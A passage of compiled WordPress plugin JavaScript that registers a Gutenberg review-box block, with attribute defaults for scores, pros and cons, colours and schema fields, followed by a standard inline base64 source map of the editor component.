'string'\n\t\t},\n\t\tcrits: {\n\t\t\ttype: 'array',\n\t\t\tdefault: [{\n\t\t\t\toutof5: '0',\n\t\t\t\toutof10: '0',\n\t\t\t\toutof100: '0',\n\t\t\t\ttitle: '',\n\t\t\t\trating: 'false'\n\t\t\t}]\n\t\t},\n\t\tpros: {\n\t\t\ttype: 'array',\n\t\t\tdefault: [{\n\t\t\t\ttitle: ''\n\t\t\t}]\n\t\t},\n\t\tprosTitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tcons: {\n\t\t\ttype: 'array',\n\t\t\tdefault: [{\n\t\t\t\ttitle: ''\n\t\t\t}]\n\t\t},\n\t\tconsTitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\ticonCode: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tconclusionTitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tconclusion: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\ttitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\taffBlocks: {\n\t\t\ttype: 'array',\n\t\t\tdefault: []\n\t\t},\n\t\tgalleryTitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tgallery: {\n\t\t\ttype: 'array',\n\t\t\tdefault: ''\n\t\t},\n\t\tskinBG: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#111'\n\t\t},\n\t\tskinText: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#fff'\n\t\t},\n\t\tskinTitles: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#ead125'\n\t\t},\n\t\tskinFinalScore: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#fff'\n\t\t},\n\t\taccent: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#f8d92f'\n\t\t},\n\t\titemReviewed: {\n\t\t\ttype: 'string',\n\t\t\tdefault: 'Organization'\n\t\t},\n\t\tschemaDirector: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaMpn: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaSku: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaBrand: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaDescription: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaDateCreated: {\n\t\t\ttype: 'date',\n\t\t\tdefault: ''\n\t\t},\n\t\tuid: {\n\t\t\ttype: 'integer',\n\t\t\tdefault: 123\n\t\t}\n\t},\n\n\tgetEditWrapperProps: function getEditWrapperProps(attributes) {\n\t\tvar position = attributes.position;\n\n\t\tif (typeof position === 'undefined') {\n\t\t\tposition = 'center';\n\t\t}\n\t\tif ('left' === position || 'center' === position || 'right' === position) {\n\t\t\treturn { 'data-align': position };\n\t\t}\n\t},\n\n\n\tedit: letsReviewBox,\n\n\tsave: function save(props) {\n\t\treturn null;\n\t}\n});//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNC5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9ibG9jay9yZXZpZXctYm94LmpzP2VlNTciXSwic291cmNlc0NvbnRlbnQiOlsidmFyIF9jcmVhdGVDbGFzcyA9IGZ1bmN0aW9uICgpIHsgZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyh0YXJnZXQsIHByb3BzKSB7IGZvciAodmFyIGkgPSAwOyBpIDwgcHJvcHMubGVuZ3RoOyBpKyspIHsgdmFyIGRlc2NyaXB0b3IgPSBwcm9wc1tpXTsgZGVzY3JpcHRvci5lbnVtZXJhYmxlID0gZGVzY3JpcHRvci5lbnVtZXJhYmxlIHx8IGZhbHNlOyBkZXNjcmlwdG9yLmNvbmZpZ3VyYWJsZSA9IHRydWU7IGlmIChcInZhbHVlXCIgaW4gZGVzY3JpcHRvcikgZGVzY3JpcHRvci53cml0YWJsZSA9IHRydWU7IE9iamVjdC5kZWZpbmVQcm9wZXJ0eSh0YXJnZXQsIGRlc2NyaXB0b3Iua2V5LCBkZXNjcmlwdG9yKTsgfSB9IHJldHVybiBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIHByb3RvUHJvcHMsIHN0YXRpY1Byb3BzKSB7IGlmIChwcm90b1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLnByb3RvdHlwZSwgcHJvdG9Qcm9wcyk7IGlmIChzdGF0aWNQcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvciwgc3RhdGljUHJvcHMpOyByZXR1cm4gQ29uc3RydWN0b3I7IH07IH0oKTtcblxuZnVuY3Rpb24gX2RlZmluZVByb3BlcnR5KG9iaiwga2V5LCB2YWx1ZSkgeyBpZiAoa2V5IGluIG9iaikgeyBPYmplY3QuZGVmaW5lUHJvcGVydHkob2JqLCBrZXksIHsgdmFsdWU6IHZhbHVlLCBlbnVtZXJhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUsIHdyaXRhYmxlOiB0cnVlIH0pOyB9IGVsc2UgeyBvYmpba2V5XSA9IHZhbHVlOyB9IHJldHVybiBvYmo7IH1cblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG4vKipcbiAqIEJMT0NLOiBSZXZpZXcgQmxvY2tcbiAqL1xudmFyIF9fID0gd3AuaTE4bi5fXztcbnZhciByZWdpc3RlckJsb2NrVHlwZSA9IHdwLmJsb2Nrcy5yZWdpc3RlckJsb2NrVHlwZTtcblxudmFyIGVsID0gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50O1xuaW1wb3J0IHsgQ29tcG9uZW50LCBGcmFnbWVudCB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG52YXIgX3dwJGVkaXRvciA9IHdwLmVkaXRvcixcbiAgICBSaWNoVGV4dCA9IF93cCRlZGl0b3IuUmljaFRleHQsXG4gICAgSW5zcGVjdG9yQ29udHJvbHMgPSBfd3AkZWRpdG9yLkluc3BlY3RvckNvbnRyb2xzLFxuICAgIE1lZGlhVXBsb2FkID0gX3dwJGVkaXRvci5NZWRpYVVwbG9hZCxcbiAgICBNZWRpYVVwbG9hZENoZWNrID0gX3dwJGVkaXRvci5NZWRpYVVwbG9hZENoZWNrLFxuICAgIEJsb2NrQ29udHJvbHMgPSBfd3AkZWRpdG9yLkJsb2NrQ29udHJvbHMsXG4gICAgUGFuZWxDb2xvclNldHRpbmdzID0gX3dwJGVkaXRvci5QYW5lbENvbG9yU2V0dGluZ3MsXG4gICAgQmxvY2tBbGlnbm1lbnRUb29sYmFyID0gX3dwJGVkaXRvci5CbG9ja0FsaWdubWVudFRvb2xiYXI7XG52YXIgX3dwJGNvbXBvbmVudHMgPSB3cC5jb21wb25lbnRzLFxuICAgIFNlbGVjdENvbnRyb2wgPSBfd3AkY29tcG9uZW50cy5TZWxlY3RDb250cm9sLFxuICAgIFRvZ2dsZUNvbnRyb2wgPSBfd3AkY29tcG9uZW50cy5Ub2dnbGVDb250cm9sLFxuICAgIFRleHRDb250cm9sID0gX3dwJGNvbXBvbmVudHMuVGV4dENvbnRyb2wsXG4gICAgQnV0dG9uID0gX3dwJGNvbXBvbmVudHMuQnV0dG9uLFxuICAgIFBhbmVsQm9keSA9IF93cCRjb21wb25lbnRzLlBhbmVsQm9keTtcblxuXG52YXIgaWNvbkVsID0gZWwoJ3N2ZycsIHsgd2lkdGg6IDIwLCBoZWlnaHQ6IDIwIH0sIGVsKCdwYXRoJywgeyBkOiBcIk0xOSwwIEMxOS41NTIyODQ3LC0xLjAxNDUzMDYzZS0xNiAyMCwwLjQ0NzcxNTI1IDIwLDEgTDIwLDE5IEMyMCwxOS41NTIyODQ3IDE5LjU1MjI4NDcsMjAgMTksMjAgTDEsMjAgQzAuNDQ3NzE1MjUsMjAgNi43NjM1Mzc1MWUtMTcsMTkuNTUyMjg0NyAwLDE5IEwwLDEgQy02Ljc2MzUzNzUxZS0xNywwLjQ0NzcxNTI1IDAuNDQ3NzE1MjUsMS4wMTQ1MzA2M2UtMTYgMSwwIEwxOSwwIFogTTE4LDIgTDIsMiBMMiwxOCBMMTgsMTggTDE4LDIgWiBNMTAsNSBMMTEuNDY5NDYzMSw3Ljk3NzQ1NzUxIEwxNC43NTUyODI2LDguNDU0OTE1MDMgTDEyLjM3NzY0MTMsMTAuNzcyNTQyNSBMMTIuOTM4OTI2MywxNC4wNDUwODUgTDEwLDEyLjUgTDcuMDYxMDczNzQsMTQuMDQ1MDg1IEw3LjYyMjM1ODcxLDEwLjc3MjU0MjUgTDUuMjQ0NzE3NDIsOC40NTQ5MTUwMyBMOC41MzA1MzY4Nyw3Ljk3NzQ1NzUxIEwxMCw1IFpcIiB9KSk7XG5cbnZhciBsZXRzUmV2aWV3Qm94ID0gZnVuY3Rpb24gKF9Db21wb25lbnQpIHtcblx0X2luaGVyaXRzKGxldHNSZXZpZXdCb3gsIF9Db21wb25lbnQpO1xuXG5cdGZ1bmN0aW9uIGxldHNSZXZpZXdCb3goKSB7XG5cdFx0X2NsYXNzQ2FsbENoZWNrKHRoaXMsIGxldHNSZXZpZXdCb3gpO1xuXG5cdFx0cmV0dXJuIF9wb3NzaWJsZUNvbnN0cnVjdG9yUmV0dXJuKHRoaXMsIChsZXRzUmV2aWV3Qm94Ll9fcHJvdG9fXyB8fCBPYmplY3QuZ2V0UHJvdG90eXBlT2YobGV0c1Jldmlld0JveCkpLmFwcGx5KHRoaXMsIGFyZ3VtZW50cykpO1xuXHR9XG5cblx0X2NyZWF0ZUNsYXNzKGxldHNSZXZpZXdCb3gsIFt7XG5cdFx0a2V5OiAnY29tcG9uZW50RGlkTW91bnQnLFxuXHRcdHZhbHVlOiBmdW5jdGlvbiBjb21wb25lbnREaWRNb3VudCgpIHtcblx0XHRcdHZhciBfcHJvcHMgPSB0aGlzLnByb3BzLFxuXHRcdFx0ICAgIHNldEF0dHJpYnV0ZXMgPSBfcHJvcHMuc2V0QXR0cmlidXRlcyxcblx0XHRcdCAgICBhdHRyaWJ1dGVzID0gX3Byb3BzLmF0dHJpYnV0ZXM7XG5cblx0XHRcdGlmIChhdHRyaWJ1dGVzLnVpZCA9PT0gMTIzKSB7XG5cdFx0XHRcdHNldEF0dHJpYnV0ZXMoe1xuXHRcdFx0XHRcdHVpZDogTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogKDk5OTk5OSAtIDEwMDAwMCArIDEpICsgMTAwMDAwKVxuXHRcdFx0XHR9KTtcblx0XHRcdH1cblx0XHR9XG5cdH0sIHtcblx0XHRrZXk6ICdyZW5kZXInLFxuXHRcdHZhbHVlOiBmdW5jdGlvbiByZW5kZXIoKSB7XG5cdFx0XHR2YXIgX3RoaXMyID0gdGhpcztcblxuXHRcdFx0dmFyIF9wcm9wczIgPSB0aGlzLnByb3BzLFxuXHRcdFx0ICAgIHNldEF0dHJpYnV0ZXMgPSBfcHJvcHMyLnNldEF0dHJpYnV0ZXMsXG5cdFx0XHQgICAgYXR0cmlidXRlcyA9IF9wcm9wczIuYXR0cmlidXRlcztcblxuXG5cdFx0XHRmdW5jdGlvbiBibG9ja0FkZGVyKHR5cGUpIHtcblx0XHRcdFx0dmFyIGJsb2NrcyA9IHZvaWQgMDtcblx0XHRcdFx0YmxvY2tzID0gSlNPTi5wYXJzZShKU09OLnN0cmluZ2lmeShhdHRyaWJ1dGVzW3R5cGVdKSk7XG5cdFx0XHRcdGlmICh0eXBlID09PSAnY3JpdHMnKSB7XG5cdFx0XHRcdFx0YmxvY2tzLnB1c2goeyBvdXRvZjU6ICcwJywgb3V0b2YxMDogJzAnLCBvdXRvZjEwMDogJzAnLCB0aXRsZTogJycgfSk7XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0YmxvY2tzLnB1c2goeyBjb250ZW50OiAnJyB9KTtcblx0XHRcdFx0fVxuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKF9kZWZpbmVQcm9wZXJ0eSh7fSwgdHlwZSwgYmxvY2tzKSk7XG5cdFx0XHR9XG5cblx0XHRcdGZ1bmN0aW9uIGNyaXRTdHlsZXModmFsdWUpIHtcblx0XHRcdFx0dmFyIG91dHB1dCA9ICdsZXRzLXJldmlldy1ibG9ja19fY3JpdCB3aXRoLS1yZW1vdmVyJztcblx0XHRcdFx0aWYgKDYgPT0gZGVzaWduKSB7XG5cdFx0XHRcdFx0aWYgKHZhbHVlIDwgMzQpIHtcblx0XHRcdFx0XHRcdG91dHB1dCArPSAnIGxldmVsLTEnO1xuXHRcdFx0XHRcdH0gZWxzZSBpZiAodmFsdWUgPCA3NSkge1xuXHRcdFx0XHRcdFx0b3V0cHV0ICs9ICcgbGV2ZWwtNSc7XG5cdFx0XHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0XHRcdG91dHB1dCArPSAnIGxldmVsLTEwJztcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdFx0cmV0dXJuIG91dHB1dDtcblx0XHRcdH1cblxuXHRcdFx0ZnVuY3Rpb24gc2NvcmVTZXR0ZXIodHlwZSwgbWF4LCB2YWx1ZSkge1xuXHRcdFx0XHRpZiAodmFsdWUgPiBtYXgpIHtcblx0XHRcdFx0XHR2YWx1ZSA9IG1heDtcblx0XHRcdFx0fSBlbHNlIGlmICh2YWx1ZSA8IDApIHtcblx0XHRcdFx0XHR2YWx1ZSA9ICcwJztcblx0XHRcdFx0fVxuXHRcdFx0XHR2YXIgb3V0b2YxMDAsIG91dG9mMTAsIG91dG9mNTtcblx0XHRcdFx0aWYgKHBhcnNlSW50KGF0dHJpYnV0ZXMuc2NvcmVUeXBlKSA9PT0gMSkge1xuXHRcdFx0XHRcdG91dG9mNSA9IHZhbHVlIC8gMjA7XG5cdFx0XHRcdFx0b3V0b2YxMCA9IHZhbHVlIC8gMTA7XG5cdFx0XHRcdFx0b3V0b2YxMDAgPSB2YWx1ZTtcblx0XHRcdFx0fSBlbHNlIGlmIChwYXJzZUludChhdHRyaWJ1dGVzLnNjb3JlVHlwZSkgPT09IDIpIHtcblx0XHRcdFx0XHRvdXRvZjUgPSB2YWx1ZSAvIDI7XG5cdFx0XHRcdFx0b3V0b2YxMCA9IHZhbHVlO1xuXHRcdFx0XHRcdG91dG9mMTAwID0gdmFsdWUgKiAxMDtcblx0XHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0XHRvdXRvZjUgPSB2YWx1ZTtcblx0XHRcdFx0XHRvdXRvZjEwID0gdmFsdWUgKiAyO1xuXHRcdFx0XHRcdG91dG9mMTAwID0gdmFsdWUgKiAyMDtcblx0XHRcdFx0fVxuXG5cdFx0XHRcdHZhciBzY29yZSA9IHtcblx0XHRcdFx0XHRvdXRvZjU6IG91dG9mNSxcblx0XHRcdFx0XHRvdXRvZjEwOiBvdXRvZjEwLFxuXHRcdFx0XHRcdG91dG9mMTAwOiBNYXRoLnJvdW5kKG91dG9mMTAwKVxuXHRcdFx0XHR9O1xuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKHtcblx0XHRcdFx0XHRzY29yZTogc2NvcmVcblx0XHRcdFx0fSk7XG5cdFx0XHR9XG5cdFx0XHRmdW5jdGlvbiBibG9ja0VkaXRvcihpbmRleCwgdHlwZSwga2V5LCBtYXgsIHZhbHVlKSB7XG5cdFx0XHRcdHZhciBibG9ja3MgPSBKU09OLnBhcnNlKEpTT04uc3RyaW5naWZ5KGF0dHJpYnV0ZXNbdHlwZV0pKTtcblx0XHRcdFx0aWYgKHR5cGUgPT09ICdjcml0cycgJiYga2V5LnN0YXJ0c1dpdGgoJ291dG9mJykpIHtcblx0XHRcdFx0XHRpZiAodmFsdWUgPiBtYXgpIHtcblx0XHRcdFx0XHRcdHZhbHVlID0gbWF4O1xuXHRcdFx0XHRcdH0gZWxzZSBpZiAodmFsdWUgPCAwKSB7XG5cdFx0XHRcdFx0XHR2YWx1ZSA9ICcwJztcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0dmFyIG91dG9mMTAwLCBvdXRvZjEwLCBvdXRvZjU7XG5cdFx0XHRcdFx0aWYgKHBhcnNlSW50KGF0dHJpYnV0ZXMuc2NvcmVUeXBlKSA9PT0gMSkge1xuXHRcdFx0XHRcdFx0b3V0b2Y1ID0gdmFsdWUgLyAyMDtcblx0XHRcdFx0XHRcdG91dG9mMTAgPSB2YWx1ZSAvIDEwO1xuXHRcdFx0XHRcdFx0b3V0b2YxMDAgPSB2YWx1ZTtcblx0XHRcdFx0XHR9IGVsc2UgaWYgKHBhcnNlSW50KGF0dHJpYnV0ZXMuc2NvcmVUeXBlKSA9PT0gMikge1xuXHRcdFx0XHRcdFx0b3V0b2Y1ID0gdmFsdWUgLyAyO1xuXHRcdFx0XHRcdFx0b3V0b2YxMCA9IHZhbHVlO1xuXHRcdFx0XHRcdFx0b3V0b2YxMDAgPSB2YWx1ZSAqIDEwO1xuXHRcdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0XHRvdXRvZjUgPSB2YWx1ZTtcblx0XHRcdFx0XHRcdG91dG9mMTAgPSB2YWx1ZSAqIDI7XG5cdFx0XHRcdFx0XHRvdXRvZjEwMCA9IHZhbHVlICogMjA7XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0YmxvY2tzW2luZGV4XVsnb3V0b2Y1J10gPSBvdXRvZjU7XG5cdFx0XHRcdFx0YmxvY2tzW2luZGV4XVsnb3V0b2YxMCddID0gb3V0b2YxMDtcblx0XHRcdFx0XHRibG9ja3NbaW5kZXhdWydvdXRvZjEwMCddID0gTWF0aC5yb3VuZChvdXRvZjEwMCk7XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0YmxvY2tzW2luZGV4XVtrZXldID0gdmFsdWU7XG5cdFx0XHRcdH1cblx0XHRcdFx0c2V0QXR0cmlidXRlcyhfZGVmaW5lUHJvcGVydHkoe30sIHR5cGUsIGJsb2NrcykpO1xuXHRcdFx0XHRpZiAodHlwZSA9PT0gJ2NyaXRzJyAmJiBrZXkuc3RhcnRzV2l0aCgnb3V0b2YnKSkge1xuXHRcdFx0XHRcdHZhciBfb3V0b2YgPSAwO1xuXHRcdFx0XHRcdGZvciAodmFyIGkgPSBibG9ja3MubGVuZ3RoIC0gMTsgaSA+PSAwOyBpLS0pIHtcblx0XHRcdFx0XHRcdF9vdXRvZiArPSBOdW1iZXIoYmxvY2tzW2ldWydvdXRvZjEwMCddKTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0X291dG9mID0gX291dG9mIC8gYmxvY2tzLmxlbmd0aDtcblx0XHRcdFx0XHR2YXIgc2NvcmUgPSB7XG5cdFx0XHRcdFx0XHRvdXRvZjU6IE1hdGgucm91bmQoX291dG9mKSAvIDIwLFxuXHRcdFx0XHRcdFx0b3V0b2YxMDogTWF0aC5yb3VuZChfb3V0b2YpIC8gMTAsXG5cdFx0XHRcdFx0XHRvdXRvZjEwMDogTWF0aC5yb3VuZChfb3V0b2YpXG5cdFx0XHRcdFx0fTtcblx0XHRcdFx0XHRzZXRBdHRyaWJ1dGVzKHtcblx0XHRcdFx0XHRcdHNjb3JlOiBzY29yZVxuXHRcdFx0XHRcdH0pO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cblx0XHRcdGZ1bmN0aW9uIGJsb2NrUmVtb3Zlcih0eXBlLCBpbmRleCkge1xuXHRcdFx0XHR2YXIgciA9IGNvbmZpcm0oX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcz8nKSk7XG5cdFx0XHRcdGlmIChyID09PSB0cnVlKSB7XG5cdFx0XHRcdFx0dmFyIGJsb2NrcyA9IEpTT04ucGFyc2UoSlNPTi5zdHJpbmdpZnkoYXR0cmlidXRlc1t0eXBlXSkpO1xuXHRcdFx0XHRcdGJsb2Nrcy5zcGxpY2UoaW5kZXgsIDEpO1xuXHRcdFx0XHRcdHNldEF0dHJpYnV0ZXMoX2RlZmluZVByb3BlcnR5KHt9LCB0eXBlLCBibG9ja3MpKTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXG5cdFx0XHRmdW5jdGlvbiBvblNjb3JlVHlwZSh2YWx1ZSkge1xuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKHsgc2NvcmVUeXBlOiB2YWx1ZSB9KTtcblx0XHRcdFx0dmFyIGJsb2NrcyA9IEpTT04ucGFyc2UoSlNPTi5zdHJpbmdpZnkoYXR0cmlidXRlc1snY3JpdHMnXSkpO1xuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKHtcblx0XHRcdFx0XHQnY3JpdHMnOiBibG9ja3Ncblx0XHRcdFx0fSk7XG5cdFx0XHR9XG5cblx0XHRcdGZ1bmN0aW9uIG9uRGVzaWduKHNjb3JlVHlwZSwgdmFsdWUpIHtcblx0XHRcdFx0aWYgKHBhcnNlSW50KHZhbHVlKSA9PT0gNiAmJiBzY29yZVR5cGUgPiAyKSB7XG5cdFx0XHRcdFx0c2V0QXR0cmlidXRlcyh7IHNjb3JlVHlwZTogMSB9KTtcblx0XHRcdFx0fVxuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKHsgZGVzaWduOiB2YWx1ZSB9KTtcblx0XHRcdH1cblxuXHRcdFx0ZnVuY3Rpb24gb25JbWFnZVNlbGVjdChhdHRyLCBpbWFnZU9iamVjdCkge1xuXHRcdFx0XHR2YXIgX3NldEF0dHJpYnV0ZXM0O1xuXG5cdFx0XHRcdHZhciB0aHVtYjtcblx0XHRcdFx0aWYgKHR5cGVvZiBpbWFnZU9iamVjdC5zaXplcy5tZWRpdW0gIT09ICd1bmRlZmluZWQnICYmIGltYWdlT2JqZWN0LnNpemVzLm1lZGl1bS53aWR0aCA+IDApIHtcblx0XHRcdFx0XHR0aHVtYiA9IGltYWdlT2JqZWN0LnNpemVzLm1lZGl1bS51cmw7XG5cdFx0XHRcdH0gZWxzZSBpZiAodHlwZW9mIGltYWdlT2JqZWN0LnNpemVzLmZ1bGwgIT09ICd1bmRlZmluZWQnICYmIGltYWdlT2JqZWN0LnNpemVzLmZ1bGwud2lkdGggPiAwKSB7XG5cdFx0XHRcdFx0dGh1bWIgPSBpbWFnZU9iamVjdC5zaXplcy5mdWxsLnVybDtcblx0XHRcdFx0fSBlbHNlIGlmICh0eXBlb2YgaW1hZ2VPYmplY3Quc2l6ZXMudGh1bWJuYWlsICE9PSAndW5kZWZpbmVkJyAmJiBpbWFnZU9iamVjdC5zaXplcy50aHVtYm5haWwud2lkdGggPiAwKSB7XG5cdFx0XHRcdFx0dGh1bWIgPSBpbWFnZU9iamVjdC5zaXplcy50aHVtYm5haWwudXJsO1xuXHRcdFx0XHR9XG5cdFx0XHRcdGlmIChhdHRyID09PSAnYmcnKSB7XG5cdFx0XHRcdFx0dGh1bWIgPSBpbWFnZU9iamVjdC5zaXplcy5mdWxsLnVybDtcblx0XHRcdFx0fVxuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKChfc2V0QXR0cmlidXRlczQgPSB7fSwgX2RlZmluZVByb3BlcnR5KF9zZXRBdHRyaWJ1dGVzNCwgYXR0ciArICdJRCcsIGltYWdlT2JqZWN0LmlkKSwgX2RlZmluZVByb3BlcnR5KF9zZXRBdHRyaWJ1dGVzNCwgYXR0ciArICdUaHVtYicsIHRodW1iKSwgX3NldEF0dHJpYnV0ZXM0KSk7XG5cdFx0XHR9XG5cdFx0XHRmdW5jdGlvbiBvblJlbW92ZUdhbGxlcnkodmFsdWUpIHt9XG5cdFx0XHRmdW5jdGlvbiBvbkdhbGxlcnlTZWxlY3QocHJvcCwgdmFsdWUpIHtcblx0XHRcdFx0dmFyIG91dHB1dCA9IFtdO1xuXHRcdFx0XHRmb3IgKHZhciBpID0gdmFsdWUubGVuZ3RoIC0gMTsgaSA+PSAwOyBpLS0pIHtcblx0XHRcdFx0XHR2YXIgdGh1bWIgPSB2YWx1ZVtpXS5zaXplcy5mdWxsLnVybDtcblx0XHRcdFx0XHRpZiAodHlwZW9mIHZhbHVlW2ldLnNpemVzLm1lZGl1bSAhPT0gJ3VuZGVmaW5lZCcgJiYgdmFsdWVbaV0uc2l6ZXMubWVkaXVtLndpZHRoID4gMCkge1xuXHRcdFx0XHRcdFx0dGh1bWIgPSB2YWx1ZVtpXS5zaXplcy5tZWRpdW0udXJsO1xuXHRcdFx0XHRcdH0gZWxzZSBpZiAodHlwZW9mIHZhbHVlW2ldLnNpemVzLmZ1bGwgIT09ICd1bmRlZmluZWQnICYmIHZhbHVlW2ldLnNpemVzLmZ1bGwud2lkdGggPiAwKSB7XG5cdFx0XHRcdFx0XHR0aHVtYiA9IHZhbHVlW2ldLnNpemVzLmZ1bGwudXJsO1xuXHRcdFx0XHRcdH0gZWxzZSBpZiAodHlwZW9mIHZhbHVlW2ldLnNpemVzLnRodW1ibmFpbCAhPT0gJ3VuZGVmaW5lZCcgJiYgdmFsdWVbaV0uc2l6ZXMudGh1bWJuYWlsLndpZHRoID4gMCkge1xuXHRcdFx0XHRcdFx0dGh1bWIgPSB2YWx1ZVtpXS5zaXplcy50aHVtYm5haWwudXJsO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHRvdXRwdXQucHVzaCh7ICdpZCc6IHZhbHVlW2ldWydpZCddLCAndGh1bWInOiB0aHVtYiB9KTtcblx0XHRcdFx0fVxuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKF9kZWZpbmVQcm9wZXJ0eSh7fSwgcHJvcCwgb3V0cHV0KSk7XG5cdFx0XHR9XG5cblx0XHRcdHZhciBjcml0c09uID0gdHJ1ZSxcblx0XHRcdCAgICBiZ0ltZ09uID0gZmFsc2UsXG5cdFx0XHQgICAgYmFyc0FuaU9uID0gdHJ1ZSxcblx0XHRcdCAgICBza2luID0gcGFyc2VJbnQoYXR0cmlidXRlcy5za2luKSxcblx0XHRcdCAgICBzY29yZVR5cGUgPSBwYXJzZUludChhdHRyaWJ1dGVzLnNjb3JlVHlwZSksXG5cdFx0XHQgICAgc2NvcmVPdmVybGF5V3JhcENsYXNzID0gc2NvcmVUeXBlIDwgMyA/ICdzY29yZS1vdmVybGF5LXdyYXAgc2NvcmUtb3ZlcmxheS13cmFwX19iYXInIDogJ3Njb3JlLW92ZXJsYXktd3JhcCBzY29yZS1vdmVybGF5LXdyYXBfX2ljb24nLFxuXHRcdFx0ICAgIHNjb3JlVHlwZU9wdGlvbnMgPSBbeyBsYWJlbDogX18oJ1BlcmNlbnRhZ2UnKSwgdmFsdWU6ICcxJyB9LCB7IGxhYmVsOiBfXygnUG9pbnRzJyksIHZhbHVlOiAnMicgfV0sXG5cdFx0XHQgICAgZGVzaWduID0gcGFyc2VJbnQoYXR0cmlidXRlcy5kZXNpZ24pO1xuXG5cdFx0XHRpZiAoZGVzaWduICE9IDYpIHtcblx0XHRcdFx0c2NvcmVUeXBlT3B0aW9ucy5wdXNoKHsgbGFiZWw6IF9fKCdTdGFycycpLCB2YWx1ZTogJzMnIH0pO1xuXHRcdFx0XHRzY29yZVR5cGVPcHRpb25zLnB1c2goeyBsYWJlbDogX18oJ0hUTUwvU1